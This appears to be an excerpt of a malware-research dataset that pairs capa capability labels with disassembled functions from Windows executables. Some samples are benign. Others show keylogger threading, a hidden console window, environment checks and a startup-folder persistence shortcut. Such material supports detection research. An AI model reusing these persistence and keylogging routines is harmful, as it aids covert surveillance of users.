joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14007374c
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
xor edx, edx
mov rcx, qword [rcx + 0x80]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x140073781
mov edi, 0x80004004
mov r8d, 0x277
mov ecx, edi
jmp 0x140073888
lea rdi, [rbx + 0x108]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
nop
mov rcx, qword [rbx + 0x58]
test rcx, rcx
je 0x1400737ae
and qword [rbx + 0x58], 0
mov rax, qword [rcx]
mov rax, qword [rax + 0x10]
call qword [case.0x140067d03.0]
nop
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, str.BITS
lea rax, str.URLMon
cmp byte [rbx + 0x175], 0
cmovne rax, rcx
mov qword [rsp + 0x20], rax
mov r9, rbx
lea r8, str.WebClient__p_:_BeginDownloadAttempt:_using__ls
lea rdx, str.WebClient
mov ecx, dword [rbx + 0x16c]
call fcn.14004d690
cmp byte [rbx + 0x175], 0
je 0x140073814
mov rcx, rbx
call fcn.1400738d0
mov edi, eax
test eax, eax
jns 0x140073894
mov r8d, 0x280
jmp 0x140073886
cmp byte [rbx + 0x40], 0
je 0x140073857
mov r9, rbx
lea r8, str.WebClient__p_:_BeginDownloadAttempt:_using_WinHTTP_instead_of_URLMon
lea rdx, str.WebClient
mov ecx, dword [rbx + 0x16c]
call fcn.14004d690
mov rax, qword [rbx]
mov rcx, rbx
mov rax, qword [rax + 0x90]
call qword [case.0x140067d03.0]
mov edi, eax
test eax, eax
jns 0x140073894
mov r8d, 0x285
jmp 0x140073886
call fcn.14005694c
lea rdx, [rbx + 0xb0]
cmp qword [rdx + 0x18], 8
jb 0x14007386d
mov rdx, qword [rdx]
mov r9, rbx
xor r8d, r8d
xor ecx, ecx
call sub.urlmon.dll_URLOpenStreamW
mov edi, eax
test eax, eax
jns 0x140073894
mov r8d, 0x289
mov ecx, eax
lea rdx, str.D:dbs_shodct0805_201717cmdkclientonedriveSetupStandalonewebclientwebclient.cpp
call fcn.14004ac0c
mov r9, rbx
lea r8, str.WebClient__p_:_Leaving_BeginDownloadAttempt__
lea rdx, str.WebClient
mov ecx, edi
call fcn.14004b074
test edi, edi
jns 0x1400738c2
mov rcx, qword [rbx]
mov rax, qword [rcx + 0x78]
mov edx, edi
mov rcx, rbx
call qword [case.0x140067d03.0]
mov eax, edi
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x140074250
Capabilities:
Check if file exists

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0x90
mov rax, qword [0x140370028]
xor rax, rsp
mov qword [rbp + 0x47], rax
xor edi, edi
cmp qword [rcx + 0xe0], rdi
je 0x14007439a
lea rbx, [rcx + 0xd0]
mov rcx, rbx
cmp qword [rbx + 0x18], 8
jb 0x14007429c
mov rcx, qword [rbx]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x140074386
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
lea rsi, vtable.ClassPtr_struct_IFSManager_.0
mov qword [rbp + 7], rsi
mov qword [rbp + 0xf], rdi
lea rcx, [rbp + 0xf]
call fcn.14004b27c
test eax, eax
js 0x140074367
mov rdx, rbx
cmp qword [rbx + 0x18], 8
jb 0x1400742de
mov rdx, qword [rbx]
mov qword [rbp - 0x19], rdi
mov qword [rbp - 9], rdi
mov qword [rbp - 1], rdi
or r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], di
jne 0x1400742ee
lea rcx, [rbp - 0x19]
call fcn.14000ed64
nop
mov qword [rbp + 0x17], rdi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x27], xmm0
lea rdx, [rbp - 0x19]
cmp qword [rbp - 1], 8
cmovae rdx, qword [rbp - 0x19]
mov r8, qword [rbp - 9]
lea rcx, [rbp + 0x17]
call fcn.14000eea4
mov qword [rbp + 0x37], 0xffffffff80000001
mov byte [rbp + 0x3f], dil
lea rcx, [rbp - 0x19]
call fcn.140007f78
mov rcx, qword [rbp + 0xf]
test rcx, rcx
jne 0x140074348
int3
mov rax, qword [rcx]
lea rdx, [rbp + 0x17]
mov rax, qword [rax + 0x80]
call qword [case.0x140067d03.0]
nop
lea rcx, [rbp + 0x17]
call fcn.140007f78
nop
mov qword [rbp + 7], rsi
mov rcx, qword [rbp + 0xf]
mov qword [rbp + 0xf], rdi
test rcx, rcx
je 0x140074386
mov rax, qword [rcx]
mov rax, qword [rax + 0x10]
call qword [case.0x140067d03.0]
nop
mov rax, rbx
cmp qword [rbx + 0x18], 8
jb 0x140074393
mov rax, qword [rbx]
mov qword [rbx + 0x10], rdi
mov word [rax], di
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.140021280
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret

Function at 0x140075534
Capabilities:
Check if file exists

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, r8
mov rsi, rcx
test rdx, rdx
jne 0x14007556e
mov r8d, 0x155
mov ecx, 0x80004003
lea rdx, str.D:dbs_shodct0805_201717cmdkclientonedriveSetupStandalonewebclientwebclient.cpp
mov edi, ecx
call fcn.14004ac0c
jmp 0x1400755cc
test rbp, rbp
jne 0x14007557b
mov r8d, 0x156
jmp 0x140075559
call fcn.1400752e8
mov edi, eax
test eax, eax
js 0x1400755cc
cmp qword [rsi + 0xe0], 0
je 0x1400755bd
lea rbx, [rsi + 0xd0]
cmp qword [rbx + 0x18], 8
mov rcx, rbx
jb 0x1400755a4
mov rcx, qword [rbx]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x1400755bd
cmp qword [rbx + 0x18], 8
jb 0x1400755b8
mov rbx, qword [rbx]
mov rdx, rbx
jmp 0x1400755c4
lea rdx, [0x140318ee8]
mov rcx, rbp
call fcn.14000ece4
mov r9, rsi
lea r8, str.WebClient__p_:_Leaving_GetDownloadedData__
lea rdx, str.WebClient
mov ecx, edi
call fcn.14004b074
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140075658
Capabilities:
Get common file path

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x450
mov rax, qword [0x140370028]
xor rax, rsp
mov qword [rsp + 0x440], rax
mov rsi, rcx
mov ebx, 0x208
mov r8d, ebx
lea rcx, [r11 - 0x228]
xor edx, edx
call fcn.140023610
mov r8d, ebx
lea rcx, [rsp + 0x20]
xor edx, edx
call fcn.140023610
mov edi, 0x104
lea rdx, [rsp + 0x230]
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
xor ebp, ebp
test eax, eax
jne 0x1400756f9
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ebx, ax
or ebx, 0x80070000
test eax, eax
cmovle ebx, eax
test ebx, ebx
jns 0x140075787
mov r8d, 0x541
lea rdx, str.D:dbs_shodct0805_201717cmdkclientonedriveSetupStandalonewebclientwebclient.cpp
mov ecx, ebx
call fcn.14004ac0c
jmp 0x140075787
lea r9, [rsp + 0x20]
xor r8d, r8d
lea rdx, [0x1402c9538]
lea rcx, [rsp + 0x230]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
jne 0x14007573a
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ebx, ax
or ebx, 0x80070000
test eax, eax
cmovle ebx, eax
test ebx, ebx
jns 0x140075787
mov r8d, 0x542
jmp 0x1400756e6
lea rax, [rsp + 0x20]
cmp word [rax], bp
je 0x14007574e
add rax, 2
sub rdi, 1
jne 0x14007573f
mov rax, rdi
neg rax
sbb ebx, ebx
not ebx
and ebx, 0x80070057
test rdi, rdi
jne 0x14007576e
mov r8d, 0x543
jmp 0x1400756e6
mov rcx, rsi
call fcn.140074250
lea rcx, [rsi + 0xd0]
lea rdx, [rsp + 0x20]
call fcn.14000ece4
mov eax, ebx
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.140021280
lea r11, [rsp + 0x450]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x140001647
Capabilities:
Copy file

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp + 0x10]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileW]
call rax
add rsp, 0x20
pop rbp
ret

Function at 0x140001677
Capabilities:
Delete file

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileW]
call rax
add rsp, 0x20
pop rbp
ret
Function at 0x14000203f
Capabilities:
Hide graphical window

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov edx, 0
lea rax, str.ConsoleWindowClass
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_FindWindowA]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov edx, 5
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140002205
Capabilities:
Get common file path
Get startup folder

Disassembly:
push rbp
sub rsp, 0x450
lea rbp, [rsp + 0x80]
lea rax, str.C:ProgramData_setup.exe
mov qword [rbp + 0x3c8], rax
lea rax, [rbp + 0x1c0]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 7
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
call rax
test eax, eax
js 0x1400022bb
lea rdx, [rbp + 0x1c0]
lea rax, [rbp - 0x50]
mov r9, rdx
lea r8, str._s_setup.lnk
mov edx, 0x104
mov rcx, rax
call fcn.1400015fd
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x3c8]
lea r8, str.Setup_Program
mov rcx, rax
call fcn.1400020e4
test eax, eax
je 0x1400022aa
lea rax, [rbp - 0x50]
mov rdx, rax
lea rax, str.Shortcut_created_successfully:__s_n
mov rcx, rax
call fcn.140001531
jmp 0x1400022ca
lea rax, str.Failed_to_create_shortcut_in_Startup_folder._n
mov rcx, rax
call fcn.140001531
jmp 0x1400022ca
lea rax, str.Failed_to_get_Startup_folder_path._n
mov rcx, rax
call fcn.140001531
nop
add rsp, 0x450
pop rbp
ret
Function at 0x14000483c
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xa0
mov dword [rbp - 0x50], 0x40
lea rax, [rbp - 0x50]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call rax
mov rax, qword [rbp - 0x48]
mov qword [rbp - 8], rax
mov dword [rbp - 0xc], 0
lea rax, [rbp - 0x80]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp - 0x60]
mov dword [rbp - 0xc], eax
mov rax, qword [rbp - 8]
shr rax, 0x14
mov rdx, rax
lea rax, str.Total_Physical_Memory:__llu_MB_n
mov rcx, rax
call fcn.140001493
mov eax, dword [rbp - 0xc]
mov edx, eax
lea rax, str.Number_of_Processors:__d_n
mov rcx, rax
call fcn.140001493
mov eax, 0x80000000
cmp qword [rbp - 8], rax
jb 0x1400048c2
cmp dword [rbp - 0xc], 1
ja 0x1400048c9
mov eax, 1
jmp 0x1400048ce
mov eax, 0
add rsp, 0xa0
pop rbp
ret

Function at 0x1400049c6
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
call fcn.140004cf0
mov dword [rbp - 4], 0
call fcn.1400047ca
cmp eax, 1
je 0x1400049f8
call fcn.14000483c
cmp eax, 1
je 0x1400049f8
call fcn.1400048d7
cmp eax, 1
jne 0x1400049ff
mov dword [rbp - 4], 1
cmp dword [rbp - 4], 0
jne 0x140004b6e
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateMutexA]
call rax
mov qword [0x14001a448], rax
mov rax, qword [0x14001a448]
test rax, rax
jne 0x140004a59
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.CreateMutex_error:__d_n
mov rcx, rax
call fcn.140001493
mov eax, 1
jmp 0x140004b73
call fcn.14000203f
call fcn.140003f7d
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [0x1400044f0]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x140004ab8
lea rax, str.Failed_to_create_keylogger_thread._n
mov rcx, rax
call fcn.140001493
mov eax, 1
jmp 0x140004b73
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [0x14000478d]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x140004b0a
lea rax, str.Failed_to_create_command_thread._n
mov rcx, rax
call fcn.140001493
mov eax, 1
jmp 0x140004b73
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x30]
mov r9d, 0xffffffff
mov r8d, 1
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [0x14001a448]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x60
pop rbp
ret
Function at 0x140004f00
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.14000d6c0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.14000d6c0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140004f70
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14001a4d4]
mov rbx, rcx
test esi, esi
jle 0x1400050a0
mov rax, qword [0x14001a4d8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140004fbb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140005045
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140004fa0
mov rcx, rbx
call fcn.1400059e0
mov rdi, rax
test rax, rax
je 0x1400050c2
mov rax, qword [0x14001a4d8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140005b20
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14001a4d8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400050a7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14000503e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140005050
add dword [0x14001a4d4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14001a4d8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000503e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140004f00
nop dword [rax]
xor esi, esi
jmp 0x140004fc8
mov rax, qword [0x14001a4d8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140004f00
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140004f00
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140005650
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14001a540]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14001a520]
test rbx, rbx
je 0x1400056ac
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x1400056a3
test eax, eax
jne 0x1400056a3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140005688
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400059e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140010df0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140005a00
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140005a08
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140005a00
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140005a5d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140005a54
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140005a00
add rax, 0x28
cmp rax, r9
jne 0x140005a40
xor eax, eax
ret

Function at 0x140005a60
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140010df0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140005a7f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140005a88
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140005a7f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140005b20
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140010df0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140005b3f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140005b48
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x141a66058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.141a661df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141a66089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141a6606f
add dl, dl
jne 0x141a66096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141a660f6
xor eax, eax
add dl, dl
jne 0x141a660a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141a661ad
add dl, dl
jne 0x141a660b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141a660c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141a660d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141a660dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x141a660ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x141a6607e
mov eax, 1
add dl, dl
jne 0x141a66106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141a66113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141a660fb
sub eax, ebx
mov ebx, 1
jne 0x141a6614c
mov ecx, 1
add dl, dl
jne 0x141a6612e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141a6613b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141a66123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141a6607e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141a66168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141a66175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141a6615d
cmp eax, 0x7d00
jae 0x141a6619b
cmp eax, 0x500
jb 0x141a66196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141a6607e
cmp eax, 0x7f
ja 0x141a6619e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141a6607e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x141a661d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x141a6607e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140007098
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x1400070c6
xor eax, eax
jmp 0x1400071ac
cmp qword [rcx + 0x68], 0
je 0x1400070d7
call fcn.1400071c8
jmp 0x1400071ac
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1400070ee
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400070f0
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140007122
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.140025d40
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x1400071a6
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x140007159
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x140007182
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.14001139c
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x1400071a6
cmp rsi, rbx
ja 0x140007160
test rsi, rsi
je 0x1400071a6
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.14001139c
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x14000902c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140009076
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140009076
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140009076
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140009076
cmp dword [rcx + 0x84], 0xe
jbe 0x140009076
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140009078
xor al, al
add rsp, 0x28
ret
Function at 0x140014040
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400140af
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400140af
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400140af
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400140af
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400140af
cmp dword [rcx + 0x84], 0xe
jbe 0x1400140af
cmp dword [rcx + 0xf8], 0
je 0x1400140af
mov ecx, ebx
call fcn.14001416c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140013f3c
nop
cmp dword [rbp + 0x20], 0
je 0x1400140fd
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140014108
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140014040

Function at 0x140014250
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140014040
Function at 0x14001ad68
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rsi, rcx
test rcx, rcx
jne 0x14001ad9a
call fcn.140012c68
mov dword [rax], 0x16
call fcn.140010498
jmp 0x14001aeb9
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x14001aeb9
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x14001aeb9
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x14001adc9
lock or dword [rcx + 0x14], 0x10
jmp 0x14001aeb9
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x14001addd
call fcn.14001c3cc
mov rdi, qword [rsi + 8]
mov rcx, rsi
mov ebx, dword [rsi + 0x20]
mov qword [rsi], rdi
call fcn.140017e08
mov r8d, ebx
mov rdx, rdi
mov ecx, eax
call fcn.14001bb48
mov dword [rsi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x14001aea7
mov eax, dword [rsi + 0x14]
or edi, 0xffffffff
test al, 6
jne 0x14001ae72
mov rcx, rsi
call fcn.140017e08
cmp eax, edi
je 0x14001ae5d
mov rcx, rsi
call fcn.140017e08
cmp eax, 0xfffffffe
je 0x14001ae5d
mov rcx, rsi
call fcn.140017e08
movsxd rbx, eax
lea r14, [0x140085f60]
mov rcx, rsi
sar rbx, 6
call fcn.140017e08
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x14001ae64
lea rdx, [0x140038430]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x14001ae72
lock or dword [rsi + 0x14], 0x20
